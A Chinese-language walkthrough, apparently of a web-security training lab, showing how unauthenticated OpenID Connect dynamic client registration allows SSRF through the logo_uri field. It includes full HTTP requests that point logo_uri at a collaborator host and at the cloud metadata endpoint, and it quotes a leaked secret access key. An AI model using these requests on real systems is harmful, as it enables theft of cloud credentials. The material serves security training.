OAuth OpenID Connect 

OpenID Connect擴展了OAuth協議,提供一些功能可以更好地支援OAuth的身份驗證。如果在第三方登入流程中發現id_token,這就表示正在使用OpenID Connect。

OAuth漏洞可以分為3個部份


OpenID Connect 漏洞

OpenID提供者應要求client application(網站應用程式)對其自身進行身份驗證,但後多時候就算不驗證也能用。這表示OpenID提供者允許動態用戶端註冊而無需任何身份驗證,這使得攻擊者能夠註冊自己的惡意client application(網站應用程式),這可能會產生各種後果,例如,有些屬性可作為URI,如果OpenID提供者存取其中任何一個,則可能會導致second-order SSRF漏洞

舉例如下,目標網站使用OpenID,但允許在沒驗證的情況下註冊client application(網站應用程式)

尋找系統敏感信息

尋找第三方登入的目錄,發現標準端點存取設定檔/.well-known/openid-configuration,並在該組態檔發現客戶端註冊端點位於/reg

############## request #################
GET /.well-known/openid-configuration HTTP/1.1
Host: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net

############## response #################
...omit..."registration_endpoint":"https://oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net/reg",...omit...

由於無需任何身份驗證,所以可直接提供一個URI陣列redirect_uris,向OAuth服務主機註冊自己的client application(網站應用程式)

############## request #################
POST /reg HTTP/1.1
Host: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net
Content-Type: application/json
Content-Length: 79

{
    "redirect_uris" : [
        "https://example.com"
    ]
}

############## response #################
HTTP/1.1 201 Created
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Tue, 07 Jun 2022 08:21:07 GMT
Connection: close
Keep-Alive: timeout=5
Content-Length: 874
	
{
"application_type":"web",
"grant_types":["authorization_code"],
"id_token_signed_response_alg":"RS256",
"post_logout_redirect_uris":[],
"require_auth_time":false,
"response_types":["code"],
"subject_type":"public",
"token_endpoint_auth_method":"client_secret_basic",
"introspection_endpoint_auth_method":"client_secret_basic",
"revocation_endpoint_auth_method":"client_secret_basic",
"require_signed_request_object":false,
"request_uris":[],
"client_id_issued_at":1654590067,
"client_id":"LH0U9juMZrS2kjq3YUM9d",
"client_secret_expires_at":0,
"client_secret":"hSsymQg48wC-_BcMDxBkHhNgyaDgF2eTuioElZV6emy4T2iISjKwFEbhi8UPW07XMDP459ncbVxCcIqPYEJy5w",
"redirect_uris":["https://example.com"],
"registration_client_uri":"https://oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net/reg/LH0U9juMZrS2kjq3YUM9d",
"registration_access_token":"RFwbvd__D-pTsyB7rQNYOzTBRQByed5R11EXdwrMv95"
}

現在已成功註冊自己的客戶端應用程序,返回內容包含與新客戶端應用程式關聯的各種元數據,包括新的client_id

不過,在整個流程中觀察到有一請求,會對OAuth服務主機取得/client/CLIENT-ID/logo,並返回圖片logo,如下

############## request ##############
GET /client/LH0U9juMZrS2kjq3YUM9d/logo HTTP/1.1
Host: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net

############## response #################
picture log

測試SSRF漏洞

根據/client/CLIENT-ID/logo的請求行為查閱OpenID規範,發現client applications(網站應用程式)可以在動態註冊期間使用logo_uri屬性提供圖片logo的URL,因此要測試logo_uri是否有SSRF問題

構建以下請求,將logo_uri指定一個接收訊息的位置,例如BURP-COLLABORATOR-SUBDOMAIN

############## request ##############
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}

############## response #################
...omit...
"client_id":"kzO4HLJw0clOpEGIKMX6l",
...omit...

在BURP-COLLABORATOR-SUBDOMAIN會接收到OAuth服務主機的返回內容如下,確認可以成功帶出數據,此處有SSRF漏洞

...omit...<html><body>g4dtsejpzoywuzjjp5n77qzjngz</body></html>...omit...

如果和OAuth服務主機請求/client/CLIENT-ID/logo,也會得到相同的內容

############## request #################
GET /client/kzO4HLJw0clOpEGIKMX6l/logo HTTP/1.1
Host: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net

############## response #################
...omit...
    </div>
    g4dtsejpzoywuzjjp5n77qzjngz
  </body>
</html>

利用SSRF取得存取指定位置

目前己經知道重要信息存放在內網主機http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/,因此要涉法取得此內容,利用剛剛確認的SSRF漏洞,可以構造以下攻擊請求

############## request #################
POST /reg HTTP/1.1
Host: oauth-ac421f8e1fa95c24c0d61480021b00b2.web-security-academy.net
Content-Type: application/json
Content-Length: 172
{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

############## response #################
...omit...,"client_id":"bG3X5i1AXnKvqSbQkOQp4",...omit...

接著對OAuth服務主機請求/client/CLIENT-ID/logo,即可取得指定位置的敏感信息

GET /client/bG3X5i1AXnKvqSbQkOQp4/logo HTTP/1.1
Host: oauth-ac421f8e1fa95c24c0d61480021b00b2.web-security-academy.net
response
...omit..."SecretAccessKey" : "86Pa12tSES76SzBzblzJRnRo0rWdyI3Eha9cfj3A",...omit...

Lab: SSRF via OpenID dynamic client registration


總結攻擊手法

1.檢查第三方登錄的目錄是否有敏感信息,結果有問題,因為registration_endpoint的位置曝光

############## request #################
GET /.well-known/openid-configuration

############## response #################
...omit..."registration_endpoint":"https://oauth-server/reg",...omit...

2.檢查註冊時是否有身份驗證機制,結果有問題,因為註冊成功

############## request #################
POST /reg HTTP/1.1
Host: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net
Content-Type: application/json
Content-Length: 79

{
    "redirect_uris" : [
        "https://example.com"
    ]
}
############## response #################
...omit...
"client_id":"kzO4HLJw0clOpEGIKMX6l",
...omit...

3.檢查可作為URI的屬性是否有SSRF問題,結果有問題,因為可透過logo_uri取得各種內網信息

############## request #################
POST /reg HTTP/1.1
Host: oauth-ac421f8e1fa95c24c0d61480021b00b2.web-security-academy.net
Content-Type: application/json
Content-Length: 172
{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

############## response #################
...omit...,"client_id":"bG3X5i1AXnKvqSbQkOQp4",...omit...